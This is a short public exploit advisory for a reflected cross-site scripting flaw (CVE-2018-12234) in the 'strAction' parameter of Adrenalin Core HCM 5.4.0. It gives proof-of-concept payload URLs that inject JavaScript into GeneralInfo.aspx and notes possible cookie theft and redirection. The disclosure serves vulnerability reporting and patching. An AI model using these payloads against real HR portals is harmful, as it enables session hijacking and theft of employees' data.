# Exploit Title: Adrenalin Core HCM 5.4.0 - 'strAction' Reflected Cross-Site Scripting# Google Dork: NA# Date: 2018-09-06# Exploit Author: Rishu Ranjan (Cy83rl0gger)# Vendor Homepage: https://www.myadrenalin.com/# Software Link: https://www.myadrenalin.com/core-hcm/# Version: 5.4.0 (REQUIRED)# Tested on: NA# CVE : CVE-2018-12234# Type: webapps# Platform: Multiple# Description# ====================# A Reflected Cross Site Scripting (XSS) Vulnerability was discovered in Adrenalin Core HCM v5.4.0 of HRMS Software. # The user supplied input containing malicious JavaScript is echoed back as it is in JavaScript code in an HTML response.# URL# ====================
https://<Host:port>/Adrenalin/flexiportal/GeneralInfo.aspx?strAction=Update0%22[Javascript code]22HRMS%22%29%2f%2f1
https://<Host:port>/myadrenalin/flexiportal/GeneralInfo.aspx?strAction=Update11170%22%3balert(%22HRMS%22)%2f%2f155
Parameter
====================
strAction
Attack Type
====================
Remote
CVE Impact Other
====================
Allows an attacker to input malicious JavaScript which can steal cookie, redirect them to other malicious website, etc.
Reference
====================
https://nvd.nist.gov/vuln/detail/CVE-2018-12234
https://www.knowcybersec.com/2018/09/first-cve-2018-12234-reflected-XSS.html
Discoverer
====================
Rishu Ranjan
